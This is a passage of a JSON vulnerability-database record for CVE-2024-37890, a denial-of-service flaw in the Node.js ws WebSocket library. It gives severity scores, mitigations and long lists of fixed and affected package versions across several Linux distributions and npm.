{"id":"CVE-2024-37890","aliases":["AZL-42808","AZL-43600","AZL-45066","CLSA-2026-1773360970","CLSA-2026-1774225216","CLSA-2026-1785380881","CLSA-2026-1785380886","CLSA-2026-1788560406","CLSA-2026-1788560420","CLSA-2026-1788560439","CLSA-2026-1790161463","CLSA-2026-1790164081","CLSA-2026-1790164156","CLSA-2026-1790174669","CLSA-2026-1790610738","CLSA-2026-1790776603","CLSA-2026-1792164186","CLSA-2026-1792443025","CLSA-2026-1793096799","CLSA-2026-1793112519","DEBIAN-CVE-2024-37890","EUVD-2024-1899","GHSA-3h5v-q93c-6h6q","MGASA-2025-0194","RHBA-2024:9549","RHBA-2024:9550","RHBA-2025:4932","UBUNTU-CVE-2024-37890"],"status":"published","title":"Denial of service when handling a request with many HTTP headers in ws","description":"ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01357,"percentile":0.71894,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-476"],"published":"2024-06-17T19:09:02Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"npm","package":"ws","fixed_in":["5.2.4","6.2.3","7.5.10","8.17.1"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:2","package":"reaper","fixed_in":["3.1.1-10"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"ws","fixed_in":["7.4.6-tuxcare.1","4.1.0-tuxcare.1","7.5.9-tuxcare.2","2.3.1-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-ws","fixed_in":["8.18.0+~cs13.7.11-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-ws","fixed_in":["8.18.0+~cs13.7.11-1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-dbg-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-targeting-pack-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-dbg-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-8.0","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-8.0-debuginfo","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-dbg-8.0","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-targeting-pack-8.0","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-templates-8.0","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0-debuginfo","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0-debugsource","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-apphost-pack-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-hostfxr-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-runtime-8.0-debuginfo","fixed_in":["0:8.0.10-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-8.0-debuginfo","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-8.0-source-built-artifacts","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet8.0-debuginfo","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet8.0-debugsource","fixed_in":["0:8.0.110-3.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-targeting-pack-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-6.0","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-6.0-debuginfo","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-targeting-pack-6.0","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-templates-6.0","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0-debuginfo","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0-debugsource","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-apphost-pack-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-hostfxr-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-runtime-6.0-debuginfo","fixed_in":["0:6.0.35-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-6.0-debuginfo","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-6.0-source-built-artifacts","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet6.0-debuginfo","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet6.0-debugsource","fixed_in":["0:6.0.135-2.el9_5"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-runtime-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-runtime-dbg-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"aspnetcore-targeting-pack-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-apphost-pack-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-apphost-pack-8.0-debuginfo","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-hostfxr-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-hostfxr-8.0-debuginfo","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-8.0-debuginfo","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-runtime-dbg-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0-debuginfo","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-dbg-8.0","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-targeting-pack-8.0","fixed_in":["0:8.0.13-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-templates-8.0","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet8.0","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet8.0-debugsource","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.0","package":"dotnet-sdk-8.0-source-built-artifacts","fixed_in":["0:8.0.113-2.el10_0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"fixed":"5.2.4"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"6.2.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.0"},{"fixed":"7.5.10"}]}]},{"source":"ghsa","ecosystem":"npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.0.0"},{"fixed":"8.17.1"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"reaper","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-10"}]}]},{"source":"osv","ecosystem":"Azure Linux:2","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4.6-tuxcare.0"},{"fixed":"7.4.6-tuxcare.1"}]}],"versions":["7.4.6"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0-tuxcare.0"},{"fixed":"4.1.0-tuxcare.1"}]}],"versions":["4.1.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.16.0-tuxcare.0"},{"fixed":"8.16.0-tuxcare.2"}]}],"versions":["8.16.0","8.16.0-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.9-tuxcare.0"},{"fixed":"7.5.9-tuxcare.2"}]}],"versions":["7.5.9","7.5.9-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.13.0-tuxcare.0"},{"fixed":"8.13.0-tuxcare.1"}]}],"versions":["8.13.0"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4.5-tuxcare.0"},{"fixed":"7.4.5-tuxcare.1"}]}],"versions":["7.4.5"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0-tuxcare.0"},{"fixed":"6.0.0-tuxcare.1"}]}],"versions":["6.0.0"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.11.0-tuxcare.0"},{"fixed":"8.11.0-tuxcare.1"}]}],"versions":["8.11.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.5.0-tuxcare.0"},{"fixed":"8.5.0-tuxcare.1"}]}],"versions":["8.5.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.2.2-tuxcare.0"},{"fixed":"6.2.2-tuxcare.1"}]}],"versions":["6.2.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.2.3-tuxcare.0"},{"fixed":"8.2.3-tuxcare.1"}]}],"versions":["8.2.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.14.2-tuxcare.0"},{"fixed":"8.14.2-tuxcare.1"}]}],"versions":["8.14.2"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.3-tuxcare.0"},{"fixed":"7.5.3-tuxcare.1"}]}],"versions":["7.5.3"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4.3-tuxcare.0"},{"fixed":"7.4.3-tuxcare.1"}]}],"versions":["7.4.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.4.0-tuxcare.0"},{"fixed":"7.4.0-tuxcare.1"}]}],"versions":["7.4.0"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1-tuxcare.0"},{"fixed":"2.3.1-tuxcare.2"}]}],"versions":["2.3.1","2.3.1-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.1.4-tuxcare.0"},{"fixed":"6.1.4-tuxcare.1"}]}],"versions":["6.1.4"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["8.11.0+~cs13.7.3-1","8.11.0+~cs13.7.3-2","8.18.0+~cs13.7.11-1","8.18.0+~cs14.5.15-1","8.18.1+~cs14.18.2-1","8.19.0+~cs14.19.1-1","8.20.1+~cs14.19.1-1","8.21.0+~cs14.19.1-1","8.21.1+~cs14.19.1-1","8.21.3+~cs14.19.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.18.0+~cs13.7.11-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-ws","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.18.0+~cs13.7.11-1"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"2.1.0"},{"fixed":"5.2.4"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.2.3"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.5.10"}]}]},{"source":"osv","ecosystem":"npm","package":"ws","ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.17.1"}]}]},{"source":"osv","ecosystem":"Mageia:9","package":"yarnpkg","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.22.22-0.10.9.2.1.mga9"}]}],"bundled":11},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-targeting-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-dbg-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-targeting-pack-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-templates-8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet8.0-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-apphost-pack-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-hostfxr-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-runtime-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.10-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-8.0-source-built-artifacts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet8.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet8.0-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.0.110-3.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-runtime-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"aspnetcore-targeting-pack-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-apphost-pack-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-hostfxr-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-runtime-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-sdk-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-targeting-pack-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet-templates-6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"dotnet6.0-debugsource","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-apphost-pack-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-hostfxr-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-runtime-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.35-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red Hat:enterprise_linux:9::crb","package":"dotnet-sdk-6.0-debuginfo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:6.0.135-2.el9_5"}]}]},{"source":"osv","ecosystem":"Red 